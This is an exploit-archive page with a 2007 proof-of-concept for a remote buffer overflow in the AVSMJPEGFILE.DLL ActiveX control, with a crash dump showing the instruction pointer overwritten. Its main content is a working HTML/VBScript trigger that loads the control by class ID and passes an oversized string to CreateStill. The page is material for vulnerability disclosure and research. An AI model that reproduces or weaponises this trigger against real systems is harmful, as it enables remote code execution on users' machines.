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Online Media Technologies AVSMJPEGFILE.DLL 1.1 Remote BoF PoC
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-------------------------------------------------------------------------------
<b>Online Media Technologies AVSMJPEGFILE.DLL 1.1 Remote Buffer Overflow</b>
url: www.avsmedia.com
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
<b><font color='red'>This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.</font></b>
<b>Technical details:
File: AVSMJPEGFILE.DLL
Ver.: 1.1.1.102</b>
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
<b>Remote execution depends on Internet Explorer settings</b>
faultmon dump:
09:58:13.236 pid=13E4 tid=145C EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION writing [41414141])
----------------------------------------------------------------
EAX=02A31C64: 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00
EBX=00001C4A: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=00001448: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ESP=0188C9A4: A0 3F 9B 02 41 41 41 41-41 41 41 41 41 41 41 41
EBP=0188EE08: 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
ESI=00000A25: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=029B3FA0: 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00
EIP=02BF3604: 89 01 E8 0F D6 03 00 83-C4 04 33 C0 8D A5 EC F7
--> MOV [ECX],EAX
----------------------------------------------------------------
09:58:13.252 pid=13E4 tid=145C EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
ESP=0188C5D4: BF 37 91 7C BC C6 88 01-80 F2 88 01 D8 C6 88 01
EBP=0188C5F4: A4 C6 88 01 8B 37 91 7C-BC C6 88 01 80 F2 88 01
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
--> N/A
----------------------------------------------------------------
-------------------------------------------------------------------------------
<object classid='clsid:4CF945DB-7D52-437B-AD30-185336B44C74' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
buff = String(3620, "A")
test.CreateStill buff, 1, True
End Sub
</script>
</span></span>
</code></pre>
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12 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1